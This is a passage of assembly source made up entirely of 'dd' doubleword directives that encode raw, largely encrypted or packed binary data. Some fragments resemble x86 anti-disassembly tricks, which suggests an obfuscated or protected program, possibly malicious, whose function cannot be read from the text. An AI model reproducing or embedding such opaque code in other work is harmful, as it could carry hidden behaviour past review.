		dd 8EE656CAh, 0A35EBBCh, 7B5F3D39h, 7B367567h, 2515CE31h
		dd 0FBC39F2h, 3FB4B715h, 7B22DD15h, 2D73EC31h, 7296B2F2h
		dd 0EFDFBA77h, 0F63CD217h, 736CB4B4h, 9DB40737h, 41E26C0Ah
		dd 738B3BB0h, 8454FF0Eh, 74F57DE1h, 7B35ADB5h, 2E35F731h
		dd 7B35CDD9h, 0B8684731h, 5F593A6Ch, 5F715835h,	7B35F735h
		dd 0B8603331h, 0D14150B2h, 37F2B2DCh, 7B35DAD8h, 0AC680431h
		dd 26744135h, 0E228ED0Ch, 9755A171h, 0DCD9AE3Eh, 67A8B65Fh
		dd 11339E7Ch, 78DD9B31h, 5B356731h, 0F268706Ch,	0FA31FD5Dh
		dd 6D31C875h, 3E357631h, 0EB0CF864h, 7B36259Bh,	7B5FCE31h
		dd 7B368F64h, 2615B331h, 17BC84F2h, 3FB4E815h, 7B2D7215h
		dd 2E703B31h, 7BF3EFF2h, 8AB458B9h, 213BEAD4h, 0FF3A50CEh
		dd 7B35D932h, 38F62EB1h, 0F67F9FB1h, 7345D28Ch,	78B81037h
		dd 0C333C644h, 0F17E3B4Ch, 53443602h, 0B41EDF32h, 0CAE6B8F0h
		dd 0D87D3DEDh, 317B35C6h, 8BA9DEFCh, 6E8F8017h,	6801B054h
		dd 838733E4h, 0A4F305E9h, 0F88BC08Bh, 0BE66C38Bh, 0C08B8D34h
		dd 0DE5ABF66h, 1039BD83h, 75000603h, 1DBD8309h,	60311h
		dd 53501974h, 7AB8C08Bh, 89000004h, 3239185h, 0F89D8D06h
		dd 0FF0605B0h, 83585BD3h, 3111DBDh, 17740006h, 7AB85350h
		dd 89000004h, 3239185h,	999D8D06h, 0FF0605ADh, 81585BD3h
		dd 729CC7E9h, 56006A35h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1904h, 0C3564600h, 0AC67E284h, 0C08B8D3Dh, 766D8D8Dh
		dd 6A0608h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h
		dd 55450000h, 0EE6416C3h, 0BD8B2912h, 6030A79h,	31D18D89h
		dd 6A0603h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h
		dd 57470000h, 83A65BC3h, 0F65802E6h, 29284B13h,	3015195h
		dd 0E185C706h, 0E0060301h, 8B000067h, 30C5DB5h,	0BD85C706h
		dd 60321h, 6A000000h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 16042444h, 45000000h, 0DC88C355h, 0ADB5FFD9h, 6A060321h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 14042444h
		dd 40000000h, 8B31C350h, 9195FFF1h, 66060326h, 6AD98Bh
		dd 1FB995FFh, 0C08B0603h, 0AF0A6BEBh, 0F0194F0Bh, 0FE326960h
		dd 0ACB5CCDAh, 2FE754ABh, 9C552BB1h, 78059C8Dh,	0CC93BB7Fh
		dd 0DCE35A9Ch, 0AE1A962Ah, 2811611h, 0FA091F99h, 75BEEC01h
		dd 0D93880EDh, 51B6BF6Eh, 26094397h, 0E740B3A3h, 3633870Bh
		dd 6AC8539Eh, 89CC0E81h, 5D6B2A6Bh, 0F248A4AFh,	0B50A61DDh
		dd 303F767Ah, 0AEC827DDh, 92BD1157h, 0FE972645h, 0DE865h
		dd 1B410000h, 0F32EED43h, 9D3BF05Ah, 8BB9B657h,	331E185h
		dd 8E85906h, 0A8000000h, 34C277AEh, 0F5CCB08h, 815AD1B7h
		dd 58E7C1h, 870F5600h, 2, 685FC18Bh, 0
		dd 8850Fh, 0F600000h, 0F380D7BFh, 665E612Fh, 1C8BC18Bh
		dd 7E931h, 9D170000h, 45F5FF1Bh, 2AEB818Fh, 0F674665h
		dd 385h, 0CCE08000h, 1B6CF381h,	0BA664B88h, 0C381313Fh
		dd 4F85B24Fh, 1AF1B589h, 1C890603h, 0FBB70F31h,	0F9BF0F56h
		dd 64EE815Fh, 667FAA53h, 0F454C081h, 5360C681h,	99BA7FAAh
		dd 817F41FBh, 0FFA7C8FEh, 9F850FFFh, 31FFFFFFh,	32A699Dh
		dd 0CE806h, 9B490000h, 0FD68B939h, 7C2F3CDCh, 0BF66FC1Bh
		dd 815A25EBh, 6CCCC2h, 0EF816600h, 0C9335D78h, 0FFF0B70Fh
		dd 8D891134h, 6031F39h,	0CE858h, 0FEB40000h, 0E80600E4h
		dd 62301E73h, 0CB81134Ch, 422C415h, 1AC0815Eh, 0E9616F0Fh
		dd 7, 0B7C94821h, 81954DDFh, 0A8F3B4E8h, 9BD294Ch, 81060314h
		dd 0CF4693F0h, 899D0950h, 89060302h, 13E90A04h,	5000000h
		dd 4D44CF62h, 477B9A1Ch, 5E314BDAh, 0DF125C9Dh,	0E981373Eh
		dd 355EAB6Ah, 9E9h, 0EDF91D00h,	0FA95B9BCh, 0C1813605h
		dd 355EAB66h, 0B1DFF781h, 0F98131AEh, 0FFFF93E8h, 0FF6D850Fh
		dd 0BF66FFFFh, 8D8D8E28h, 6087937h, 0E852006Ah,	3, 5AC35A20h
		dd 4245489h, 4244481h, 1Ah, 70C35242h, 4E77DA2Bh, 0BB66F801h
		dd 0C281F2F6h, 676CB1A8h, 31D18D89h, 6A0603h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 160424h, 55450000h, 966262C3h
		dd 81C78166h, 0E185C704h, 34060301h, 6A000073h,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 14042444h, 47000000h
		dd 0E936C357h, 13h, 129E67B4h, 4B08B4F9h, 0ADD0410Fh, 592D1695h
		dd 0C7ACC91Fh, 321BD85h, 6, 0C6816600h,	0B5FFE8FDh, 6031CF1h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 19h, 92C35141h
		dd 5C930BC3h, 97EB8048h, 269195FFh, 9D0B0603h, 60322F1h
		dd 95FF006Ah, 6031FB9h,	0DEBC08Bh, 1D503ADCh, 3D21215Dh
		dd 21B80650h, 7E8F6h, 4B560000h, 0EDE4E18Dh, 0F88B66B9h
		dd 81F88B5Ah, 695AC2h, 0FE800h,	0F4670000h, 402B2601h
		dd 0FAF6E1AFh, 0C1CAA718h, 0BB59FC96h, 1A34h, 5E9h, 78D1AF00h
		dd 328B8B6Bh, 12DBD03h,	0C6810603h, 4EF524FAh, 1AC5BD8Bh
		dd 0EE810603h, 4D6DA84Fh, 2409B589h, 0F6810603h, 16CA589Eh
		dd 5E9h, 69B8FE00h, 328989BAh, 6604EA83h, 0EB81C68Bh, 1
		dd 0FFBC850Fh, 9E8FFFFh, 9C000000h, 0B41BB482h,	79635B32h
		dd 5FF8B70Fh, 7AC08D8Dh, 6A0608h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1C0424h, 50400000h, 0DC1194C3h, 0E641CDF0h
		dd 9E9F6A0h, 0C3000000h, 0FE7ECC95h, 0D0BEA18Eh, 10E9h
		dd 7FC3A600h, 198EA6DCh, 0EEAA57A1h, 374B50F8h,	0D18D8970h
		dd 6A060331h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 14042444h, 40000000h, 53B5C350h, 6E9h, 0F725B100h, 5B3B9050h
		dd 1E185C7h, 73CC0603h,	81600000h, 0BF9C36DAh, 85C76111h
		dd 60321BDh, 0
		dd 21ADB5FFh, 0BE90603h, 2F000000h, 303E6E56h, 31FDE7C2h
		dd 95FF6ED8h, 6032691h,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Bh, 0BCC35242h, 40CF3EA7h, 8BE8C2E3h, 30A319Dh
		dd 0FF006A06h, 31FB995h, 0EBC08B06h, 0CE7C546Bh, 0EA88A4EFh
		dd 0C087C210h, 0B0CDF93Dh, 6CDCCDEDh, 0DA817EF9h, 240BD605h
		dd 5A0C74B5h, 61E7C6F3h, 1B7B1EECh, 0CA63D6EDh,	0E01F3AB5h
		dd 29921951h, 0F4D90E84h, 0C45685C3h, 0F9BF1714h, 0BE9F015Fh
		dd 904C4C6h, 0BA0FFE61h, 0A24D1AFFh, 685F3AFh, 0FFBC4DBh
		dd 0A11C2271h, 9818057Ch, 71C22267h, 5567911Fh,	0F28C3A70h
		dd 7BE68D8Dh, 8E90608h,	4000000h, 0A9B7C31Eh, 89E35500h
		dd 331D18Dh, 55006A06h,	3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1504h, 0C3554500h, 0C381B604h, 2A2AE559h, 85C7E5B4h
		dd 60301E1h, 64B0h, 1FEE8166h, 0BD85C760h, 60321h, 6A000000h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1A042444h
		dd 40000000h, 0C5E7C350h, 0ABF1D4EBh, 0FF5E51DBh, 310CDB5h
		dd 57006A06h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1404h
		dd 0C3574700h, 71850119h, 0FF060320h, 3269195h,	0D850906h
		dd 6A060328h, 0B995FF00h, 8B06031Fh, 0FA0EEBC0h, 97F0A6B6h
		dd 0ACA6DA18h, 0E3C36A72h, 2DEBD7h, 0D0000000h,	9CBFAE0Dh
		dd 0F9DFF231h, 88A7A5ADh, 0FB75528Ch, 9CBE00B7h, 7EE5ADF9h
		dd 9D8993h, 67268168h, 3B2BD14h, 704DE3B7h, 0B2BE9h, 7D3B6800h
		dd 2EE90608h, 68FFFB01h, 6087E42h, 0FB0124E9h, 7F6A68FFh
		dd 1AE90608h, 68FFFB01h, 6088000h, 0FB0110E9h, 80CC68FFh
		dd 6E90608h, 68FFFB01h,	6088196h, 0FB00FCE9h, 827B68FFh
		dd 0F2E90608h, 68FFFB00h, 608847Ch, 0FB00E8E9h,	857A68FFh
		dd 0DEE90608h, 0ADFFFB00h, 0D6BB29CEh, 4528BC45h, 0F75A0EB3h
		dd 67CA9E1Fh, 897B6992h, 7277184Eh, 0C6E78B1Eh,	545D3F82h
		dd 25CAAD30h, 0B0981EA7h, 71067517h, 0F010D365h, 0FF4B6785h
		dd 7506DC4Eh, 0EB64C4C2h, 51710674h, 0E2833F8Ah, 13E6EA0Bh
		dd 780A87Ch, 75710675h,	36711BE6h, 3515AD4Bh, 6EFE5A25h
		dd 61324C1Bh, 0FB9F9F44h, 0A2F792FAh, 5EDA9593h, 5AA4D20h
		dd 501BF247h, 0F1615D00h, 7D6FFA63h, 0B8593F4Ah, 24F45933h
		dd 11A93483h, 148D9D57h, 68770E14h, 192707FDh, 0E0751111h
		dd 9565F43Fh, 0A476F4E5h, 8D184D1Fh, 284B1E37h,	0E0D3ECC2h
		dd 3A12CF9Fh, 11000009h, 9A6F7D82h, 99CF0F9h, 0BB0E4267h
		dd 2BBED2D3h, 452FBD46h, 862BCC9Ah, 1A9B7FC2h, 0E811E376h
		dd 797E11E4h, 0FC4C4A6Bh, 71067363h, 2A5417D9h,	472AA243h
		dd 2E590FB0h, 582D4563h, 0FDBB31BAh, 1200772Dh,	26A63575h
		dd 0BE0811Eh, 4D918F71h, 6A3E516Bh, 360E93h, 1A90000h
		dd 6567886Ch, 503B8460h, 82341452h, 9F7511FFh, 20B9C7FCh
		dd 0E98D81FEh, 846A79C4h, 35A0817Fh, 770E8B53h,	261A710Bh
		dd 0D7DEE6F2h, 0CA999369h, 1A000000h, 2AA2432Ah, 5F09B247h
		dd 0DC9A1BF2h, 0E6426709h, 53543B86h, 18A17617h, 0E60BED70h
		dd 21C99D1Bh, 770EEE2Fh, 0BB29CEA1h, 0B1463FD6h, 329922F0h
		dd 28A00F5Ah, 0B8F6F49Fh, 11FF0690h, 0B9593475h, 7C11A934h
		dd 0CB9F159Eh, 97D3D1BCh, 98D85B3h, 93B7F36Fh, 77084CFAh
		dd 5CE9346h, 30426675h,	0DE09E65h, 0BC01476Ch, 4D9FD6DBh
		dd 12E6D617h, 833E77Ah,	89680000h, 9D6064h, 6E0095FBh
		dd 0DAB20745h, 4D22B7D5h, 934220A4h, 0DB8932C7h, 4F1DA276h
		dd 0FD9318FAh, 6C608568h, 5CF55555h, 0A0710672h, 452A5310h
		dd 0B24528BCh, 0F0D14ADEh, 0B82F770Eh, 1CF0952Dh, 99648D63h
		dd 68E149CFh, 0D4770EF0h, 0AA3EBA01h, 8C6C0129h, 12F90293h
		dd 405E2996h, 0FF700226h, 7BEE7511h, 0DF4CC911h, 1ED8710Bh
		dd 98CCA74Fh, 99481922h, 91F49463h, 0E5F3271Bh,	9369BDDFh
		dd 0AA4F21C4h, 5312A722h, 0C2EBB0A3h, 0E2F0EA46h, 3000000h
		dd 6AE34701h, 0D6770EF0h, 7AEBAC9h, 937E1135h, 0F7911AFCh
		dd 9C731692h, 0DC7711Bh, 0E04A43Dh, 0F74D1877h,	690CFD92h
		dd 29EFF944h, 0F1329076h, 0F24E216Dh, 0E11C8DAh, 42630A77h
		dd 0D3D4BB0Eh, 866EFFB9h, 64F3F899h, 3C8B6164h,	5D175351h
		dd 0F8659BBAh, 78F48AADh, 117CC650h, 0C9E17475h, 39535424h
		dd 0F3BCD0ACh, 0FC4C6A88h, 6F08F9DFh, 1DF08E5Dh, 0AA3B777Ch
		dd 0A492EAC9h, 669B4D1Fh, 0E4491D9Bh, 93D7EE13h, 50E6D64Ah
		dd 70BA5B8h, 0B1400000h, 28F5580Ch, 9678CD83h, 2EA7F6Dh
		dd 751AEFFDh, 6BAA184Ch, 33515A3Fh, 0A725CAAEh,	0D5BB40D2h
		dd 4408AD40h, 34AD7D3Dh, 88710671h, 452A7BF8h, 8B6302BCh
		dd 8967626Ah, 787D10E5h, 0F2CAAF3Eh, 0EF0BD56h,	0C9540377h
		dd 1A6ECA9Fh, 0A2432A59h, 0FB0472Ah, 0F114B159h, 8BF6770Eh
		dd 0DEB0556Dh, 9215FD5h, 7506DC7Eh, 0B2536FFAh,	23B6DADBh
		dd 8621AB4Ch, 0BC5FDFBh, 7A12937Ah, 17E20397h, 820BB199h
		dd 0E2696F09h, 0DBB38DC3h, 0A7BA52E6h, 675h, 22A6472Ah
		dd 5735BE5Fh, 0C1872CC2h, 7117987Ch, 0E2E60BECh, 0F081D500h
		dd 603085CBh, 0D6A4095Fh, 432ABF2Dh, 13972EA2h,	6709E37h
		dd 9152E271h, 64896C01h, 0ED12E588h, 596230D5h,	4F268BE3h
		dd 997D10AEh, 53F09814h, 12E5BDE1h, 3034FFEDh, 73996D52h
		dd 0E4F891B9h, 9144770Eh, 0C011Bh, 5AB20000h, 172h, 2A7491Ch
		dd 0F26F2DA6h, 29770EF0h, 0F042DB6Fh, 0D3BE770Eh, 572DB841h
		dd 631F9DE8h, 6DC4FC7h,	8C2AB175h, 0E64216F9h, 7106746Dh
		dd 2BB904D3h, 5E0EAF46h, 426735D8h, 56E15F0Ah, 3BF58D2Bh
		dd 67476EFh, 0A11FCA71h, 81BD43E7h, 7F3B6F09h, 38132ABh
		dd 4CDB8E77h, 0DBB30135h, 2F22CAE6h, 5A9h, 0FE9213E6h
		dd 63618A6Bh, 9DF3F89Eh, 0D436408h, 0BED2D7B8h,	0BC5D0934h
		dd 2CCC5137h, 0A270C58Bh, 0FE64B19h, 0DFDBFAEEh, 670D24Bh
		dd 0DD9E2E71h, 0B85A432Ah, 590C5933h, 0BA732B7h, 75531448h
		dd 0AD0B12A0h, 189D70DDh, 3D61D370h, 7F6D9265h,	6C68B0B4h
		dd 7AF99h, 5AC80000h, 0AEh, 6785F0D9h, 0D2D3BA4Bh, 7F301856h
		dd 0FD7506DCh, 0DABD506Eh, 22AA4F2Dh, 21B4D8A7h, 883FA94Eh
		dd 22C3FFFDh, 0A421AB50h, 0AABA8EC8h, 646EFE59h, 41D4B9F1h
		dd 0B24528BCh, 0E9D14ADEh, 0B82F770Eh, 43FDBB2Dh, 0EE96EE7h
		dd 0A907D277h, 3D75731Eh, 0EA0BE283h, 2109E7E2h, 7511E713h
		dd 0A19BDA81h, 3EE0D3D8h, 4DFB3AEh, 0DDBC0000h,	5421B4D8h
		dd 0C25439AFh, 2EC6AB39h, 0A176DB89h, 3FFE7418h, 6F7D866Bh
		dd 93F1F69Ah, 1476C0Eh,	0B0D4D9BCh, 881A9E1h, 74710670h
		dd 5C5A27C4h, 1C000001h, 4507AC49h, 12F091CAh, 6EF5B6D2h
		dd 5E011192h, 6F67B33Ah, 4FF87480h, 2008A644h, 7506618Fh
		dd 7F205E0Dh, 5C8F0F6Eh, 4C4217EAh, 18AE2558h, 43FDBB31h
		dd 58DAC790h, 8F9B00E1h, 7105F616h, 9410FF6Ah, 0CB991EF1h
		dd 506E8F66h, 2206DABDh, 7105F5A9h, 93F54017h, 55127AF6h
		dd 6832462Ah, 1865B3BFh, 4555F58Dh, 0FB6EFE7Fh,	0C798526Ch
		dd 77F63DF7h, 8FE25EACh, 3C81C7E8h, 82345459h, 0A13A0EC8h
		dd 1F770E99h, 99C74048h, 0A635770Eh, 71F21011h,	279D773Ah
		dd 0B3CFED98h, 11206997h, 6100D775h, 0E0D311C1h
		dd 0FAE77A12h, 51000003h, 0DAAF3DC2h, 49DCB039h, 0FB4E02A7h
		dd 6BFE9213h, 856F7D86h, 466B0C5Ah, 0DADBBF02h,	0A85123B6h
		dd 39BE5124h, 0BC8C0AABh, 71066E23h, 2A14D799h,	472AA243h
		dd 0A0730FB0h, 0EDE2CE81h, 1870CCCAh, 0D45898Bh, 0EC07456Ah
		dd 996D10D8h, 52533ACBh, 55C4D6h, 0F0770000h, 0FF4B6785h
		dd 7511AB4Eh, 0A15B17C2h, 0BA41089h, 0A84D2071h, 4806E269h
		dd 9019FF8Eh, 7217EDF8h, 0C771179Ch, 4C09FB14h,	0B520E847h
		dd 749B3C1Eh, 0B19917E5h, 710BD913h, 27A54A2Dh,	7B37BC52h
		dd 0D8F069C1h, 614C710Bh, 219F6A8Fh, 34F9449h, 2A2F0000h
		dd 4429A348h, 8324F4B1h, 0C3852ECCh, 0EB553B86h, 0F74D721Ah
		dd 129FB92h, 770EF088h,	0F29A61F4h, 6167886Fh, 5BD3B46h
		dd 12006F25h, 0BE2D75h,	0E069E246h, 0D3D7710Bh,	0BE0DE77h
		dd 28B72271h, 77143C4Ch, 0B5710BE0h, 15DD22F5h,	0A7FA1CD6h
		dd 0EBA63F0Bh, 4F1A710Bh, 9F99CDF1h, 936A4985h,	4BC4641Eh
		dd 0B1710BE3h, 364C4E2Ah, 0EF000000h, 4B6785F0h, 0B7D1D6BAh
		dd 5E1856D2h, 6ECAEB8Fh, 11FFAC5Eh, 0D5B72275h,	0BDF900Dh
		dd 7CA09C71h, 6A416064h, 1141F93h, 885D0000h, 0E98FC2E7h
		dd 67DD88C0h, 5A432AECh, 325731B6h, 235BC66Dh, 0BC0B74A0h
		dd 0F3B0412Ch, 658A6D1Eh, 0C9BCE9Eh, 0F790B872h, 45770E29h
		dd 0EF721A96h, 33E5E708h, 2938D179h, 0D184770Eh, 5E5F365Bh
		dd 26F0E20Ah, 9649770Eh, 0D3CEA47Dh, 0E861C979h, 54770EBDh
		dd 2BBE3A81h, 582DA344h, 977630B5h, 6606E203h, 0B3403641h
		dd 4D07A30Eh, 0B5D7D8B8h, 467454D0h, 0B47511DBh, 29B439D9h
		dd 63810CBBh, 24BD8D47h, 98710BE0h, 113977CDh, 6F0990FCh
		dd 0C5EA8E5Fh, 0E783566Fh, 3ED7732Dh, 82770850h, 0DADFB0D7h
		dd 5D660B5Eh, 2CD5BA0Fh, 0D67C8795h, 0A9A444E6h, 1F9h
		dd 0AE22C356h, 0D3B13ADBh, 4D03A84Eh, 0FD9314F8h, 6E628768h
		dd 6C0D5984h, 0DCBC0147h, 5220B5DBh, 0BF563BA9h, 8F0BAA3Eh
		dd 66C22BBh, 0DEE9E71h,	0DB6F452Ah, 770EF042h, 0F0D871D9h
		dd 0B124770Eh, 687CCB9Eh, 9FCDF285h, 0C1AC4C21h, 1E18A989h
		dd 0EEFE455Fh, 0FE0394FBh, 85F08102h, 4DFF4B67h, 0A47511FFh
		dd 328E33C1h, 23DCBC13h, 0A623A54Eh, 49D4B1DBh,	0DF5AF71Fh
		dd 6AD6710Bh, 412A3226h, 0B025936Ah, 56000000h,	4A2432Ah
		dd 93698E61h, 788116FBh, 0EDD6C810h, 7518770Eh,	3817E688h
		dd 0ACBF898Ch, 896E7DC8h, 967D6860h, 67886FF2h,	3ED2B365h
		dd 974C3B9h, 4D7BCFEBh,	0CB751166h, 3FCE481Ch, 2BD0AD5Eh
		dd 0F5924A1h, 2651DE5Ah, 0B219A270h, 0BA993AF4h, 331AE784h
		dd 0ADC3EB41h, 4C6F095Dh, 5BD1D6B9h, 32D3EF7Ah,	0AD30545Dh
		dd 968C27CCh, 4BE6D65Fh, 0FBAEA3h, 0C1500000h, 38C5A83Ch
		dd 0A648DDB3h, 12FA4F1Dh, 856AFFEDh, 5B9A687Ch,	3416A0Fh
		dd 0B7D5DABEh, 25AB5022h, 5438BD50h, 24BD8D0Dh,	9871066Bh
		dd 452A0BE8h, 0B24528BCh, 2A245F0Dh, 0DB25A43h,	0D44DDD5Bh
		dd 28770EF0h, 2F4BD6BDh, 0F03CD575h, 0D580770Eh, 0CBA20F5Fh
		dd 72EB3FF9h, 0CE770EF0h, 0F098311Bh, 71E4770Eh, 3612CCEAh
		dd 770EF09Dh, 0F02BA484h, 0CA91770Eh, 0CCA01CCBh, 0D9E2B352h
		dd 0BA9D463h, 0DC22DB6Fh, 0CB9E7506h, 54593C81h, 25CAAD30h
		dd 58C89BA3h, 14281F43h, 15E78EC0h, 0E1EA370h, 6C1D895h
		dd 8C697CEBh, 95606567h, 6A8B62F7h, 1DB6924Ch, 6306C1D9h
		dd 8D1078F4h, 3984C4E9h, 54395358h, 8E33C1C2h, 0BF6A923h
		dd 6482988Bh, 25695529h, 87661095h, 0A6ACCDF6h,	1EE6CF56h
		dd 5F83B70Dh, 194F7007h, 8CDCE1B4h, 851h, 6C01EC00h, 0CC886489h
		dd 0A6472AD7h, 33B45B26h, 9D26F459h, 6D9266CBh,	0F801967Bh
		dd 476C0D90h, 0D3D4B805h, 0B942D4B9h, 8B1422Fh,	89520B40h
		dd 4C281E2h, 83000000h,	148704EAh, 14895C24h, 0E6895624h
		dd 4C681h, 0EE830000h, 24348704h, 242C895Ch, 81E68956h
		dd 4C6h, 4EE8100h, 87000000h, 895C2434h, 3BBD243Ch, 454FFA62h
		dd 81DDF745h, 0A06349EDh, 0BA524D7Ah, 2179545Ch, 2A78C281h
		dd 0CA815C90h, 5A78137Bh, 0C20DEA81h, 0D5294F1Ch, 3C8B545Ah
		dd 4C48324h, 3B9768h, 242C8900h, 40242C81h, 8F05C371h
		dd 47810847h, 0C3714008h, 243C8B05h, 81E28952h,	4C2h, 4C28100h
		dd 87000000h, 8B5C2414h, 8951242Ch, 4C181E1h, 81000000h
		dd 4C1h, 240C8700h, 0F613E95Ch,	0F4C0FFFAh, 0FD4B66F8h
		dd 8869AB8h, 0FFC50306h, 3E14B9E0h, 68915530h, 764A5212h
		dd 0CFE90677h, 0B21AA0Ah, 0C00F748h, 0F9D16F74h, 4600267Eh
		dd 81D23963h, 57DA9E7Bh, 0C9DF8C62h, 6AC08B00h,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 17042444h, 45000000h
		dd 88B4C355h, 0BD83E01Ah, 6031039h, 83097500h, 3111DBDh
		dd 19740006h, 0C08B5350h, 3FCB8h, 75858900h, 8D060317h
		dd 5B0919Dh, 5BD3FF06h,	1DBD8358h, 60311h, 53501774h, 3FCB8h
		dd 75858900h, 8D060317h, 5AD809Dh, 5BD3FF06h, 51006A58h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1404h, 0C3514100h
		dd 0E38166BDh, 6ABEB7h,	3E853h,	5B200000h, 5C895BC3h, 44810424h
		dd 1B0424h, 53430000h, 7F9EAAC3h, 92BBA041h, 5E95283h
		dd 0D000000h, 7EF37237h, 0DE8B665Bh, 6660C08Bh,	0F8E9BB9h
		dd 58Dh, 0F6816600h, 8361950Dh,	31E91BDh, 840F0106h, 69h
		dd 50AEE0BBh, 85BD8318h, 6031Ch, 57850Fh, 6A0000h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h
		dd 5526E3C3h, 9532F6A9h, 2CDDBD83h, 0F000603h, 0A784h
		dd 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1A04h
		dd 0C3574700h, 0A46C9931h, 0F0AE877h, 0BF0FD9BFh, 428E9D8h
		dd 5E80000h, 44000000h,	43B89FCh, 14E9h, 6DBF800h, 0C2433AC1h
		dd 6549B908h, 503811F8h, 0A13CCE0Bh, 5A1Ch, 6A0000h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h
		dd 98615BC3h, 0C4BBF2A6h, 0EB810D5Bh, 5D956F79h, 39DBB66h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 64C35242h
		dd 0AD1E8600h, 0F7FB0CC3h, 4F606A00h, 0C6F2D9CEh, 0C69B3732h
		dd 9FB8DFB1h, 8A11861Bh, 8219DB48h, 0C68FDB12h,	97D9DF1Bh
		dd 61754D4Eh, 0C313D0CFh, 0A098DF63h, 0D9272D30h, 8D4C5A55h
		dd 0CC70D96Ah, 0DA98DF36h, 25674639h, 0B0A8EDBEh, 0C69D3633h
		dd 1335DF63h, 9C6E080Eh, 0C6F20F27h, 0C69B373Eh, 9CB8DF36h
		dd 921185D8h, 8219DBA9h, 0C685DBE2h, 94DADF63h,	5E2AE272h
		dd 19A089F9h, 2FFE6568h, 0C698DF3Ah, 0BF7EE70Ch, 645EAB7Ah
		dd 1665CB7Ch, 0C698D48Ah, 151976B1h, 0D93E00D2h, 79982CD0h
		dd 0C69C4CDFh, 3519B91Bh, 361275ADh, 0C6983793h, 47C5DF63h
		dd 0CE11215Ch, 1527D0DEh, 6AFA3DEDh, 613F404h, 2ECBDF71h
		dd 0C698DF8Eh, 9D5B84E6h, 0C2BC83EAh, 0C2BC9B30h, 0C698DFC3h
		dd 0A25B8C2Fh, 2EF159D3h, 2F2C4987h, 0C698DF83h, 5323F6B5h
		dd 19DA1977h, 309C445Fh, 15123FBFh, 4FD96C3Ch, 7197FB32h
		dd 8A99D0C4h, 351921A9h, 87C47F02h, 9098B53Bh, 0C698DC59h
		dd 5C6FFD8h, 0E2EC5632h, 0E2DC5E32h, 0C698C31Fh
		dd 5CE998Dh, 35AF4BA4h,	0ED698B4Eh, 1113B9A4h, 0C69AD3DDh
		dd 0E656646Ch, 0CE13B4E4h, 4DD5657Dh, 3AD054EBh, 2ECFDFACh
		dd 0C698DF60h, 995B8091h, 0C2BCA351h, 0C2BC9BEDh, 0C698DF23h
		dd 4F5B885Ch, 0C699679Fh, 0C6F2DFC6h, 0C69B3730h, 9DB8DFB1h
		dd 9A11841Bh, 8219DB48h, 0C684DB12h, 95DBDF1Bh,	0CCF03F4Eh
		dd 0B7F8B700h, 0D271B3CEh, 6698DFB1h, 2192B471h, 5896DC59h
		dd 24B444Dh, 858ECCA8h,	9658DD33h, 0C698CB2Eh, 7E1A763h
		dd 5A49141Ah, 0CC1E1F1h, 0A8755CAFh, 0B9F3433Dh, 94C88FEFh
		dd 9EC2EE82h, 0CA11859Dh, 9098B547h, 0C698DC59h, 5C6FFD8h
		dd 0E2EC5632h, 0E2DC5E32h, 0C698CB1Fh, 5CE998Dh, 1527D0DAh
		dd 0AC415305h, 0C5708CB1h, 0E698DFD8h, 4FC31C37h, 479CFB6Ah
		dd 0D09CFB5Fh, 8598DF8Dh, 87CD1C95h, 0C69236BDh, 85D7DFB1h
		dd 0D0E944D9h, 0CC03FB4Dh, 0C69C5839h, 7DFEDF1Bh, 47FEFEA4h
		dd 30AD2735h, 4397DBA2h, 0C698DF5Eh, 2EC9DFB2h,	0C698DF6Fh
		dd 9F5B8616h, 0C2BC9392h, 0C2BC9B0Ch, 0C698DFDBh, 735B8E22h
		dd 4FF88F96h, 6BF3A7Fh,	55C364F1h, 47FEAF09h, 9FAD1DC9h
		dd 0C9F0E60Dh, 0C699FA43h, 0C69F3763h, 95ECDFB1h, 1533D626h
		dd 8822B978h, 0BF13843Ch, 0C21DD01Ah, 9698DF8Dh, 47C38595h
		dd 0C698DF9Ch, 3D1AD031h, 0AC98DFD8h, 0C570886Ch, 0E698DF36h
		dd 4FC71C44h, 479CFBF1h, 0D39CFB82h, 8198DF63h,	0E1391CE6h
		dd 4E665A1Fh, 0C699D964h, 0C6F2DF36h, 0C69B3748h, 9DB8DF8Dh
		dd 9A118405h, 8219DB47h, 0C68DDB95h, 95DBDFD8h,	0C95DDAAFh
		dd 0D4710589h, 0A798DF1Bh, 8BE4F677h, 87629622h, 0DF1F5E76h
		dd 3F265789h, 0C6203650h, 0C6F2DF6Ch, 0C69B3765h, 9DB8DF1Bh
		dd 9A11844Eh, 8219DBE2h, 0C681DB47h, 95DBDFB1h,	7AEA291Bh
		dd 2F1A1938h, 0C698DF44h, 9F122D9Bh, 0C69D5582h, 47FEDFC6h
		dd 0A0718880h, 3993A632h, 0C6C05BD7h, 0C6F2DF6Ch, 0C69B3761h
		dd 99B8DF1Bh, 0BA11804Eh, 8219DBE2h, 0C68CDB47h, 91DFDFB1h
		dd 4097881Bh, 0C698DF6Ah, 9B5C0DB7h, 435FC525h,	0C0905773h
		dd 0C698DFC7h, 2EC8DF09h, 0C698DFB2h, 9E5B87F8h, 0C2BC9BE5h
		dd 0C2BC9BB7h, 0C698DF02h, 0F85B8FCDh, 0F80BB237h, 0BA6A6460h
		dd 0ACD0DC90h, 0C57089D8h, 0E698DF6Ch, 4FC61C68h, 479CFB6Fh
		dd 0D29CFBC9h, 8098DFC6h, 464A1C35h, 0D0218146h, 4BDAA993h
